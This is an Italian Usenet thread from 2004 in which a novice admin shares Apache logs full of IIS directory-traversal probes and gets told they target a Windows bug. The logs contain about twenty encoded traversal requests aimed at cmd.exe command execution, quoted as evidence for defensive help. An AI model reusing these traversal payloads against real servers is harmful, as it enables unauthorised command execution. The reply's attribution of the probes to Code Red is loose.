Newsgroup: it.comp.os.linux.sys
Titolo: un consiglio per i log di apache

Salve ragazzi, ho messo un server in housing tanto per fare un pò di
esperienza ma ottengo continui attacchi di questo tipo: (v. sotto) Mi devo
preoccupare?
Il server ha come s. o.  debian penso che questi siano attacchi per server
windows, vero? mi sa mi sa che mi conviene mettere un buon firewall. Cosa mi
dite?
grazie
/var/log/apache/server-access.log
server:~# tail -f /var/log/apache/server-access.log
62.195.73.138 - - [06/Jan/2004:23:47:17 +0100] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 319
62.195.73.138 - - [06/Jan/2004:23:47:20 +0100] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 335
62.195.73.138 - - [06/Jan/2004:23:47:20 +0100] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
62.195.73.138 - - [06/Jan/2004:23:47:21 +0100] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
62.195.73.138 - - [06/Jan/2004:23:47:21 +0100] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
62.195.73.138 - - [06/Jan/2004:23:47:25 +0100] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
62.195.73.138 - - [06/Jan/2004:23:47:26 +0100] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
62.195.73.138 - - [06/Jan/2004:23:47:26 +0100] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
62.195.73.138 - - [06/Jan/2004:23:47:30 +0100] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
62.195.73.138 - - [06/Jan/2004:23:47:30 +0100] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
/var/log/apache/server-error.log
server:~# tail -f /var/log/apache/server-error.log
[Tue Jan  6 23:47:06 2004] [error] [client 62.195.73.138] File does not
exist: /var/www/d/winnt/system32/cmd.exe
[Tue Jan  6 23:47:06 2004] [error] [client 62.195.73.138] File does not
exist: /var/www/scripts/..%5c../winnt/system32/cmd.exe
[Tue Jan  6 23:47:07 2004] [error] [client 62.195.73.138] File does not
exist: /var/www/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
[Tue Jan  6 23:47:17 2004] [error] [client 62.195.73.138] File does not
exist: /var/www/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
[Tue Jan  6 23:47:20 2004] [error] [client 62.195.73.138] File does not
exist:
/var/www/msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.ex
e
[Tue Jan  6 23:47:20 2004] [error] [client 62.195.73.138] File does not
exist: /var/www/scripts/..Á../winnt/system32/cmd.exe
[Tue Jan  6 23:47:21 2004] [error] [client 62.195.73.138] File does not
exist: /var/www/scripts/..À¯../winnt/system32/cmd.exe
[Tue Jan  6 23:47:25 2004] [error] [client 62.195.73.138] File does not
exist: /var/www/scripts/..Á../winnt/system32/cmd.exe
[Tue Jan  6 23:47:30 2004] [error] [client 62.195.73.138] File does not
exist: /var/www/scripts/..%5c../winnt/system32/cmd.exe
[Tue Jan  6 23:47:30 2004] [error] [client 62.195.73.138] File does not
exist: /var/www/scripts/..%2f../winnt/system32/cmd.exe
/var/log/apache/error.log
arpaserver:~# tail -f /var/log/apache/error.log
[Tue Jan  6 19:41:48 2004] [error] (2)No such file or directory:
mod_mime_magic: can't read magic file /etc/apache/share/magic
[Tue Jan  6 19:41:48 2004] [notice] Apache/1.3.26 (Unix) Debian GNU/Linux
PHP/4.1.2 configured -- resuming normal operations
[Tue Jan  6 19:41:48 2004] [notice] suEXEC mechanism enabled (wrapper:
/usr/lib/apache/suexec)
[Tue Jan  6 19:41:48 2004] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Tue Jan  6 21:22:02 2004] [notice] caught SIGTERM, shutting down
[Tue Jan  6 21:22:18 2004] [error] (2)No such file or directory:
mod_mime_magic: can't read magic file /etc/apache/share/magic
[Tue Jan  6 21:22:19 2004] [error] (2)No such file or directory:
mod_mime_magic: can't read magic file /etc/apache/share/magic
[Tue Jan  6 21:22:19 2004] [notice] Apache/1.3.26 (Unix) Debian GNU/Linux
PHP/4.1.2 configured -- resuming normal operations
[Tue Jan  6 21:22:19 2004] [notice] suEXEC mechanism enabled (wrapper:
/usr/lib/apache/suexec)
[Tue Jan  6 21:22:19 2004] [notice] Accept mutex: sysvsem (Default: sysvsem)

Un firewall settato bene non guasta mai, comunque puoi stare
tranquillo, qualche lamer stà cercando di bucarti sfruttando il
bug di codered (IIS-5.0 per windows).
-- 
Claudio
Fummo come voi, sarete come noi.

 bug di codered (IIS-5.0 per windows).
quindi non agisce su server linux?
grazie per la celere risposta

 grazie per la celere risposta
Prego, figurati
